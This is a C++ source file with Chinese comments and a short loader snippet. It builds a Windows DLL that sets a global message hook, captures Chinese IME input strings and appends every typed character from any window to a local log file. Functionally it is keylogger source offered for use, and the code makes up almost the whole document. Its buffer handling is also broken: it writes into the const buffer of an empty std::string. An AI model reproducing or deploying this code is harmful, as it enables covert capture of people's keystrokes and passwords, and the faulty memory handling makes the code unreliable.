//动态库 部分/
///HookIME.cpp 部分
//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#include <windows.h>
#include <imm.h>
#include <stdio.h>
#include <string>
#include <sstream>
#define HOOK_API __declspec(dllexport)
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄
std::string g_strLast;//最后得到的中文汉字
///得到中文字符串
HOOK_API std::string GetString()
{
return g_strLast;
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
char ch;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
std::string lpstr("");
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
}
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);
memset(const_cast<char*>(lpstr.c_str()), 0, 20);
// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, const_cast<char*>(lpstr.c_str()), dwSize);
//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
char* mb = const_cast<char*>(lpstr.c_str());
g_strLast = mb;
//MessageBox(NULL, mb, mb, MB_OK); ///测试用
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
FILE* f1;
f1 = fopen("..//dll_report.txt","a+");
ch=(char)(pmsg->wParam);
fwrite(&ch,1,1,f1);
fclose(f1);
}
break;
}
}
return(lResult);
}
HOOK_API BOOL InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}
HOOK_API BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
}
BOOL APIENTRY DllMain( HINSTANCE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance = hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}
//
///HookIME.def 部分
//
LIBRARY "HookIME"
EXPORTS
InstallHook
GetString
///
应用程序部分/
///
///
///hook + ime 处理 中文输入! 截取中文字符串
///
typedef BOOL (*LPINSTALLHOOK)(void);
LPINSTALLHOOK lpInstallHook;
typedef std::string (*LPGETSTRING)(void);
LPGETSTRING lpGetString;
HINSTANCE dllHookIME = LoadLibrary("HookIME.dll");
if(NULL == dllHookIME)
return 0;
lpInstallHook = (LPINSTALLHOOK)GetProcAddress(dllHookIME, "InstallHook");
if(NULL == lpInstallHook)
{
FreeLibrary(dllHookIME);
return 0;
}
lpInstallHook();
lpGetString = (LPGETSTRING)GetProcAddress(dllHookIME, "GetString");
if(NULL == lpGetString)
return 0;
///
得到汉字的接口:std::string strTest = lpGetString();